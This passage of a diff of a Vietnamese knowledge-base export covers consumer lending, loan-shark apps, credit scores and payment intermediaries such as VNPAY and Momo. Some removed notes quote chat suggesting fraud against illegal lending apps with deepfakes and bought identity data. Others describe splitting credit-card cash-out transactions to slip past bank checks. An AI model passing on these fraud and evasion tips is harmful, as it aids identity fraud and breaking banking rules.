[[Việc giám sát không trực tiếp đem lại KPI cho ASM]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T09:38:00.000Z", - "Ngày cập nhật": "2024-08-23T09:40:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3A" }, { - "Tiêu đề": "DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang", + "Tiêu đề": "Việc giám sát không trực tiếp đem lại KPI cho ASM", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/Việc giám sát không trực tiếp đem lại KPI cho ASM", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bọn này biết khi đã cần tới app này rồi nghĩa là đang cần chạy đầu này đáp đầu kia, nên các app khác thực ra cũng là cùng một hội với lãi suất tăng dần. \n[Cạm bẫy vay tiêu dùng lãi suất \"cắt cổ\" - Tạp chí Tài chính](https://tapchitaichinh.vn/cam-bay-vay-tieu-dung-lai-suat-cat-co.html)", + "Toàn bộ nội dung": "Lý do:: [[KPI của ASM là trung bình cộng KPI của nhóm]]\r\n\r\nNếu ASM cần thì có thể tự làm để kéo doanh số\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T09:26:00.000Z", - "Ngày cập nhật": "2024-08-27T09:35:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3B" }, { - "Tiêu đề": "Vay nóng nếu không trả sẽ bị bêu xấu với mọi người", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/Vay nóng nếu không trả sẽ bị bêu xấu với mọi người", + "Tiêu đề": "Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "spam hết messenger a đấy\n+ post facebook a\n\na sẽ bị spam bêu xấu với mọi người trong danh bạ của a\na sẽ bị đăng hình trên social\nsẽ bị nó công kích người thân\nvay nóng ko lq gì tới cic\nvay nóng hay còn gọi là app đen là do mấy tụi tàu hoặc cờ bạc bên campuchia cho vay cắt cổ để a lại, nó là mảng đen\nnhư a mượn anh chị xã hội thôi\nchỉ có 1 số thằng thuộc tổ chức tín dụng hoặc ngân hàng mới đủ legit lên cic\ncòn tín dụng đen chỉ cần deep fake, 1 cccd 1 sdt verified là đủ\nnên em mới hỏi a, a dám làm black ko\na chỉ cần mua infor và ẩn sao tốt nhất có thể là có thể đi scam toàn bộ các app đen\n\n[[Xù nợ]]", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-22T10:02:00.000Z", - "Ngày cập nhật": "2024-08-31T06:29:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3C" }, { - "Tiêu đề": "Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất", + "Tiêu đề": "Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư/Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân]]\r\nnhưng cho vay dễ dính bẫy luật lãi suất là ko cho quá 20% lãi/năm nên các ngân hàng nhỏ đẻ ra các cty con cho vay để có gì chỉ chết con mà còn mẹ\r\nnhư VP đẻ ra cake, Bản Việt đẻ ra timo\r\n\r\ndn ko bị giới hạn ls vay\r\nđẻ ra thì con chết kệ con miễn có tiền. 45 50 là bt.\r\nCông an chưa xử lý vì đag dùng tiền kéo dài duration ra\r\n1 vụ án giả sử điều tra 2 năm\r\nthì a expand ra 10 năm xử\r\ngom tiền đến năm 9th công bố phá sản\r\nez xoá tội\r\nKendy: a thấy tiền lãi nó đag gấp 2 3 lần ko\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3D" }, { - "Tiêu đề": "Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng", + "Tiêu đề": "RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư/RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Lý do:: [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T06:32:00.000Z", - "Ngày cập nhật": "2024-08-31T06:32:00.000Z", + "Ngày tạo": "2024-06-20T12:45:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3E" }, { - "Tiêu đề": "Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng", + "Tiêu đề": "RSM và nhà đầu tư", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "RSM là giám đốc kinh doanh vùng (regional sale manager)\r\n\r\n```dataview\r\nLIST \r\nFROM \"⚡Hiểu biết sâu/Trung gian thanh toán/Lợi ích, động cơ của các cấp trong công ty/RSM và nhà đầu tư\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-06-21T14:21:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3F" }, { - "Tiêu đề": "Hạn mức và lãi suất không liên quan tới hộ khẩu", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Hạn mức và lãi suất không liên quan tới hộ khẩu", + "Tiêu đề": "Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Vì là trung gian thanh toán, nên các ví điện tử đứng ra bảo lãnh cho người quẹt. Chuyển khoản thì còn không biết đang làm gì, chứ dùng trung gian thanh toán thì xác định là mua hàng. Ngân hàng sẽ thấy là sạch, và điểm tín dụng sẽ cao hơn. Nếu phát hiện ra hành vi nhà bán hàng cố tình để các giao dịch nặng là rửa tiền bẩn, nhẹ là rút tiền đáo hạn hay cheating để ăn chương trình khuyến mãi [qr là 0,88% phí, pos là cỡ 18 triệu phí (vì phí mặc định là 1.8%, phí VNPAY hỗ trợ là 0.8%/1.8 tỷ)] thì VNPAY có quyền hủy điểm bán đó chấm dứt hợp đồng hợp tác giữa VNPAY ký kết với điểm bán đó, y như bảo hiểm. Nhưng nôm na là không có gì dính líu tới ngân hàng cả.\r\n\r\nTháng này phí xuống còn 1%, vì các đối tác (visa) thấy uy tín của VNPAY\r\nCác bên khác (kể cả smartpay) ko có phí đó\r\n\r\n\r\n[[Rút tiền mặt tại cửa hàng là bị cấm]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-06-27T15:05:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3G" }, { - "Tiêu đề": "Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối", + "Tiêu đề": "QR thì thu ngân dùng là chính. SPOS chủ dùng là chính", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/QR thì thu ngân dùng là chính. SPOS chủ dùng là chính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3H" }, { - "Tiêu đề": "Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày", + "Tiêu đề": "90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Một trong những cách để ngân hàng cấp lại tín dụng của mình là có tiền để qua đêm. Buổi sáng tài khoản không có gì cũng được. Làm như vậy tầm vài tháng thì ngân hàng sẽ nghĩ là mình có nguồn tiền dư thì sẽ cấp tín dụng cao hơn.\r\n\r\n", + "Toàn bộ nội dung": "[[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T05:34:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3I" }, { - "Tiêu đề": "Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền", + "Tiêu đề": "Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Example: e cần đáo 100tr thẻ vcb\r\nRule của 1 số máy pos: <30tr/ giao dịch & <100tr/ ngày\r\nthì 100tr trên của em có thể chia làm 2 ngày, mỗi ngày đáo 50tr, mỗi giao dịch tầm 20 → 30tr là đc\r\nchỉ là đúng luật, nhưng ko tránh khỏi việc A.I của bank biết vì các giao dịch lớn diễn ra 2 - 3 ngày liên tục tại cùng 1 vị trí pos\r\nOoker: vậy sao ko giam tiền?\r\nKendy: ngân hàng đc lợi\r\nmỗi lần cà ngân hàng được 2% hoa hồng\r\nnên dù biết vi phạm nhưng vì cái số kia quá lớn nên nhắm mắt làm ngơ, chỉ khi nào a làm quá lộ liễu cần 1 vài tốt thí mạng thì nó mới khoá\r\nOoker: hoa hồng từ cái máy pos à?\r\nKendy: người có máy pos cho thuê, chủ cửa hàng trả tiền thuê là 1, mỗi giao dịch trên máy pos được ngân hàng ăn 2% trên tổng bill\r\nthấy thơm ko, nên ngu gì ngân hàng tự bóp mình\r\nOoker: nhưng công an mà phát hiện nó ko truy ra là sao ngân hàng ko tìm cách chống lại chuyện này à? \r\nKendy: côgn an nào rảnh a, chỉ khi nào ngân hàng truy tố thì công an mới vào cuộc\r\ntuy ngân hàng nhắm mắt làm ngơ nhưng trên ngân hàng còn 1 đống thứ kiểm soát lớn hơn như kiểm toán, ngân hàng nhà nước, nó check kiểm tra\r\nOoker: nó ở đây là công an hay ngân hàng?\r\nnếu ca ko rảnh thì sao còn phải đi chìm bắt bọn làm đáo làm gì?\r\nKendy: nó ở đây là các bên cao hơn ngân hàng để đi kiểm trả tụi ngân hàng\r\nko phải đi bắt, mà là Rule nhà nước cấm cho việc rút tiền mặt từ thẻ tín dụng xài, việc rút tiền này ⇄ đáo thẻ, nên khi bank nó define anh đang rút tiền mặt thẻ tín dụng, nó có quyền báo c.an\r\nOoker: tại sao luật lại cấm?\r\nKendy: anh đi mà hỏi quốc hội\r\nOoker: chứ em cũng ko biết à?\r\nKendy: nó là luật\r\nông nhà đặt ra rule như thế\r\nem đâu có thẩm quyền gì mà kiến nghị\r\ncái này nếu giải thích thì em biết\r\nhơi thiên về kinh tế vĩ mô\r\nngân hàng thích cho anh nợ hơn là cho anh tiền\r\nvì khi anh rút tiền, đồng nghĩa với việc tiền bị bơm ra thị trường, tiền rẻ → tiền mất giá trị \r\nnên dù là mang tính sở hữu 100tr thẻ tín dụng, nhưng thực chất nó muốn anh nợ ngân hàng 100tr, chứ ko fai rút ra 100tr đó để làm tiền mất giá\r\ncứ nghĩ đơn giản, cứ 10 người sở hữu thẻ 100tr, ai cũng rút 100tr ra hết, làm tiền quá dư ở ngoài, tiền nhiều nên tiền đó sẽ mất giá trị, gọi là tiền rẻ\r\nnên nó mới tạo ra 2 dòng thẻ: debit vs credit card\r\ndebit = ngân hàng nợ mình\r\ncredit = mình nợ ngân hàng\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3J" }, { - "Tiêu đề": "Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân", + "Tiêu đề": "Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất]] \r\n", + "Toàn bộ nội dung": "- Momo: chỉ cần 1 giao dịch trên 50k\r\n- Smartpay: chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch. Có thể là vì [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]]\r\n- VNPAY: 13 giao dịch mới được xét là active\r\n- Ecopay: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3K" }, { - "Tiêu đề": "Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn", + "Tiêu đề": "SmartPay làm nhiều lĩnh vực", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/Smartpay/SmartPay làm nhiều lĩnh vực", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "sơ sơ lại bộ sp của nó:\r\n- Mã thanh toán\r\n- BH xe\r\n- loan Mirae Asset\r\n- đăng ký TKNH\r\n- posm\r\n- befood\r\n- phần mềm quản lý bán hàng\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3L" }, { - "Tiêu đề": "Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC", + "Tiêu đề": "Sự khác biệt giữa các công ty trung gian thanh toán", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "VD: Áo 100k cuối tháng phải trả cho VNPAY là 2k. Chủ cửa hàng sẽ nâng giá 102k. Người dùng thẻ tín dụng phải trả. Còn người trả tiền mặt vẫn phải trả, nhưng không được CIC ghi nhận việc giao dịch đó\r\n", + "Toàn bộ nội dung": "## Khác biệt về sản phẩm\r\n| Sản phẩm | Ví điện tử | Máy cà thẻ (POS) | Khác |\r\n| -------- | ---------- | ---------------- | ----------------------------- |\r\n| Momo | ✔ | ❌ | ❌ |\r\n| VNPAY | ✔ | ✔ | Cà thẻ NFC điện thoại Android |\r\n| Smartpay | ✔ | ✔ | |\r\n| Ecopay | ✔ | | |\r\nKo chỉ Vnpay, cả momo, zalopay, smartpay, eco đều có máy pos, ngân hàng cũng có. Mỗi nơi có ưu điểm khác nhau tùy thuộc vào loại thẻ, ngành nghề, nhiều thứ khác.\r\n\r\n~~Chính vì Momo không có máy POS còn VNPAY có máy POS~~, nên Momo tập trung vào sự tiện lợi với người mua hàng, còn VNPAY tập trung vào sự tiện lợi với người bán hàng. [[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS]]\r\n\r\n## Khác biệt đối với người mua hàng\r\nMomo có nhiều ưu đãi, khuyến mãi, dịch vụ hơn:\r\n- Từ thiện\r\n- Phân loại thu chi\r\n- Giáo dục tài chính\r\n- Ví trả sau ([[Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng]]) \r\n\r\n## Khác biệt đối với người bán hàng\r\nCác công ty đều có tặng loa\r\n\r\n| Sản phẩm | Máy cà thẻ | Chương trình quản lý giao dịch | Phí rút tiền về ngân hàng | Đặc điểm khác | Ai có lợi nhất? |\r\n| -------- | ---------- | ------------------------------ | ---------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |\r\n| Momo | ❌ | ✔ |
  • ≤ 10tr: miễn phí
  • > 10tr: 0.5%
  • |
  • Chỉ cần có sẵn tài khoản Momo
  • Tiền thấy ngay trong app
  • Tạo được link thanh toán
  • Tạo được trang riêng trên app
  • | Người dùng có sẵn tài khoản Momo và bán lẻ |\r\n| VNPAY | ✔ | ✔ | 0.88% |
  • Không cần tạo tài khoản gì cả
  • Hỗ trợ tạo Google Maps cho cửa hàng
  • Tiền thấy ngay trong app. Sau 1 ngày thì tiền tự động về tài khoản ngân hàng
  • Liên thông được dữ liệu giữa QR và POS
  • | [[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS\\|Cửa hàng có nhiều nhân viên]] |\r\n| Smartpay | | | | | |\r\n| Ecopay | | | | | |\r\nBản chất của cả Momo và VNPAY là đều cần căn cước + SĐT của người bán. Nhưng Momo hướng tới những người đã tạo app rồi, nên với những người này họ không thấy là mình phải đưa thông tin cá nhân khi đăng ký mở cửa hàng. Chứ thật ra Momo đã biết thông tin cá nhân của họ rồi.\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[5]\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-26T07:06:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-07-04T16:52:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3M" }, { - "Tiêu đề": "Rút tiền mặt tại cửa hàng là bị cấm", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Rút tiền mặt tại cửa hàng là bị cấm", + "Tiêu đề": "Untitled", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/Untitled", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "au 4 tháng tiến độ làm việc quá chậm\r\nmục tiêu q2 là 5000 active\r\n\r\nBOD ko đánh giá số lượng phần trăm kpi, mà \r\n\r\n3 nhiệm vụ của một người sale: bán hàng, tiếp thị, phát triển thị trường\r\n\r\n[[VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS]]\r\n\r\n\r\n3 tháng liên tục phòng miên nam ko đạt\r\n6 tháng 250 mc active\r\n\r\ntối thiểu 5 mc active\r\n\r\nt-2 dưới 50% sẽ được review \r\n\r\n[[ASM bị áp lực phải tuyển mới]]\r\n\r\n\r\n[[Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình]]\r\n\r\n\r\n[[Một NV mở sai thanh tra toàn bộ nhóm]]\r\n[[Mở quán mà dưới 100 khách một ngày là dẹp tiệm]]\r\n\r\n\r\n[[Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3N" }, { - "Tiêu đề": "Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều", + "Tiêu đề": "VNPAY dùng GMV và active để hạn chế chạy ảo", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/VNPAY dùng GMV và active để hạn chế chạy ảo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Cập nhật 1/7: mỗi tháng 5 QR mở mới active\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-26T07:06:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3O" }, { - "Tiêu đề": "Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng", + "Tiêu đề": "VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Sự khác biệt giữa các công ty trung gian thanh toán/VNPAY/VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "tín dụng là cho vay dựa trên uy tín cá nhân\r\n\r\nví trả sau duyệt dễ, online, nên hạn mức lèo tèo dưới 10tr, và đặc biệt khó huỷ\r\nthẻ tín dụng yêu cầu nhiều bằng chứng, và ngân hàng phải nắm đằng đầu mình thì nó mới cho hạn mức\r\nthế chấp cũng có, tín chấp gián tiếp cũng khó\r\nnó ko huỷ được luôn chứ ko fai khó huỷ\r\nví dụ việc cấp thẻ tín dụng\r\nanh cầm đồ 1 sổ tiết kiệm 100tr, thì ngân hàng có thể cân nhắc cấp cho anh 1 thẻ tín dụng 90tr. hoặc a có số tiết kiệm 2tỷ, ko cần cằm, nhưng ngân hàng nắm thông tin này, nó có thể cấp thẻ ở dạng tín chấp cho anh 200 300tr\r\nbản chất cũng là nó cần nắm thóp mình\r\n\r\n[[Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC]]\r\n[[Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều]]\r\n", + "Toàn bộ nội dung": "Đây là những đối tượng:\r\n- Có nhiều nhân viên\r\n- Có nhu cầu liên thông dữ liệu giữa QR và POS, quản lý dòng tiền\r\n- Thấy phí 0.8% không quan trọng bằng việc nhàn\r\n\r\n[[Mở quán mà dưới 100 khách một ngày là dẹp tiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-07-01T08:57:00.000Z", + 